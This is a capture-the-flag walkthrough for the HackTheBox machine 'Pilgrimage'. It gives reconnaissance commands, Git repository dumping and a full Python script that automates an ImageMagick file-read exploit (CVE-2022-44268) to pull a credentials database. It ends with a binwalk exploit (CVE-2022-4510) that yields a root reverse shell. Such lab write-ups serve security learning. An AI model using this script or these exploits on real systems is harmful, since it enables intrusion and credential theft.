Pilgrimage

A HackTheBox Linux machine created by coopertim13 features:

  • ImageMagick Vulnerability

  • Binwalk RCE Vulnerability

Reconnaissance

Port Scanning

We found ports 22 and80 open on the target.

$ sudo nmap -n -Pn -oN ports.nmap -p- -sS -T4 --min-rate 1000 -v <IP>

Website

We see the website http://pilgrimage.htb hosted on the target, which we shall add to our host file /etc/hosts, and the usage of Nginx from HTTP response.

$ curl -i http://10.129.250.151
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Date: Sun, 25 Jun 2023 03:52:11 GMT
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: http://pilgrimage.htb/

We see that the site provides an image-uploading function for registered users.

We registered a user and uploaded an image for testing, and we first found that we could insert content via the parameters message and status=success.

By reviewing the page /dashboard.php, we also found that

  • the user name

  • the original image name

will be embedded in the page /dashboard.php.

Git Repository

By fuzzing, we found the path .git exists.

$ fuff -u http://pilgrimage.htb/FUZZ -w path_to_raft_medium_files.txt
...
.git                    [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 11ms]
...
$ curl http://pilgrimage.htb/.git/HEAD
ref: refs/heads/master

We can then try to use git-dumper to get the Git repository of source codes of the site.

$ git-dumper http://pilgrimage.htb pilgrimage.git

Initial Access

CVE-2022-44268

We found the usage of the executable magick from the repository we fetched

$ ls -aF prilgrimage.git/
./  ../  assets/  dashboard.php*  .git/  index.php*  login.php*  logout.php*  magick*  register.php*  vendor/
index.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $image = new Bulletproof\Image($_FILES);
  if($image["toConvert"]) {
    $image->setLocation("/var/www/pilgrimage.htb/tmp");
    $image->setSize(100, 4000000);
    $image->setMime(array('png','jpeg'));
    $upload = $image->upload();
    if($upload) {
      $mime = ".png";
      $imagePath = $upload->getFullPath();
      if(mime_content_type($imagePath) === "image/jpeg") {
        $mime = ".jpeg";
      }
      $newname = uniqid();
      exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);

We can see the version of the executable is ImageMagick 7.1.0-49.

$ ./magick -version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

It seems that there's a file read vulnerability we could exploit.

Automation

To automate the process, we write the following Python script to read the file content and store it in file result:

#!/usr/bin/python3

import re, os, sys, shlex
import cmd
import subprocess
from requests import Session

USER = 'tester@example.com'
PASS = 's3cRet'
POC = 'https://github.com/voidz0r/CVE-2022-44268'
WORKDIR = '/tmp/imagick_reader'

try:
    os.system("mkdir -p %s" % WORKDIR)
    os.chdir(WORKDIR)
except FileNotFoundError as e:
    print(e)
    sys.exit(-1)

os.system('sh -c "[ -d poc ] || git clone \"%s\" poc"' % POC)

class Reader(cmd.Cmd):
    def __init__(self, username, passwd):
        super().__init__()
        self.s = Session()
        self.url = 'http://pilgrimage.htb'
        self.proxies = {
                'http': 'http://localhost:8080'
                }
        self.login()

    def login(self):
        data = {
                'username': USER,
                'password': PASS
                }
        res = self.s.post(self.url+'/login.php', data=data, proxies=self.proxies)
        if not 'Shrunken Image URL' in res.text:
            self.register()

    def register(self):
        data = {
                'username': USER,
                'password': PASS
                }
        res = self.s.post(self.url+'/register.php', data=data, proxies=self.proxies)
        if not 'Shrunken Image URL' in res.text:
            print('register fail')

    def readFile(self, path):
        subprocess.check_call(shlex.split('cargo run --manifest-path poc/Cargo.toml "%s"' % path))
        with open('image.png', 'rb') as f:
            files = {
                    'toConvert':('dog.png', f, 'image/jpeg')
                    }
            res = self.s.post(self.url+'/', files=files, proxies=self.proxies)
            imgUrl = re.match(r'.*message=(?P<url>.*)&.*$', res.url).group('url')
            subprocess.check_call(shlex.split("wget \"%s\" -O res.png" % imgUrl))
            content = subprocess.Popen(shlex.split('sh -c "identify -verbose res.png | grep \"^[0-9]\" | xxd -r -p"'), stdout=subprocess.PIPE).communicate()[0]
            print(content)
            with open('result', 'wb') as f:
                f.write(content)

    def do_EOF(self, _):
        return True

    def emptyline(self):
        pass
    
    def default(self, cmd):
        self.readFile(cmd)

r = Reader(USER, PASS)
r.cmdloop()

We can read the file on the target now.

SQLite File

We've seen that the site stores user's credentials in the SQLite file /var/db/pilgrimage from the source code file login.php.

We thus get the SQLite file content via the Python script.

(Cmd) /var/db/pilgrimage
    Finished dev [unoptimized + debuginfo] target(s) in 0.01s
     Running `poc/target/debug/cve-2022-44268 /var/db/pilgrimage`
--2023-06-25 17:08:11--  http://pilgrimage.htb/shrunk/64986667291ed.png
Resolving pilgrimage.htb (pilgrimage.htb)... 10.129.250.151
Connecting to pilgrimage.htb (pilgrimage.htb)|10.129.250.151|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1192 (1.2K) [image/png]
Saving to: ‘res.png’

res.png               100%[========================>]   1.16K  --.-KB/s    in 0s      

2023-06-25 17:08:11 (214 MB/s) - ‘res.png’ saved [1192/1192]

b'SQLite format 3\x00\x10\x00\x01\x01\x00@  \x00\x00\x00\x9a\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00

Using sqlite3, we can dump the table users and get user Emily's password abigchonkyboi123:

$ sqlite3 result
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> select * from users;
emily|abigchonkyboi123
tester@example.com|s3cRet

We can later use the credentials found to login to the target via SSH.

Privilege Escalation

Malware Scanning

With systemctl, we found a service named malwarescan is running.

$ systemctl status
...
             ├─malwarescan.service 
              ├─685 /bin/bash /usr/sbin/malwarescan.sh
              ├─708 /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/
              └─709 /bin/bash /usr/sbin/malwarescan.sh
...
$ systemctl cat malwarescan.service
# /etc/systemd/system/malwarescan.service
[Unit]
Description=Embedded malware scanner for imgshrink uploads

[Service]
User=root
WorkingDirectory=/root/quarantine
ExecStart=/usr/sbin/malwarescan.sh
Restart=always

[Install]
WantedBy=multi-user.target

We inspected the script malwarescan.sh and found the usage of inotifywait and binwalk.

#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

The binwalk is of version v2.3.2:

CVE-2022-4510

We found the binwalk of version v2.3.2 has a RCE vulnerability CVE-2022-4510 with a public exploit.

We use the exploit to generate a malicious png file and upload the image to the path /var/www/pilgrimage.htb/shrunk/.

$ ./poc.py <file> <ip> <port>

The script malwarescan.sh will extract the malicious png file with binwalk and extract the embedded malicious Python code to the binwalk plugins directory; hence we shall get our reverse shell running with root.

Miscellaneous

CVE-2022-4510

From the pull request, we can see the exploit is achieved by abusing the Python function os.path.join to extract malicious binwalk module to the directory .config/binwalk/plugins which can then be executed and thus lead to RCE.

An attacker could craft a malicious PFS file that would cause binwalk to write outside the extraction directory. I attached a proof-of-concept (poc.zip) that, when extracted from the user's home directory, would extract a malicious binwalk module in .config/binwalk/plugins. This malicious plugin would then be loaded and executed by binwalk, leading to RCE.

Refer to the pull request.

Here's the commit fixing the vulnerability.

Last updated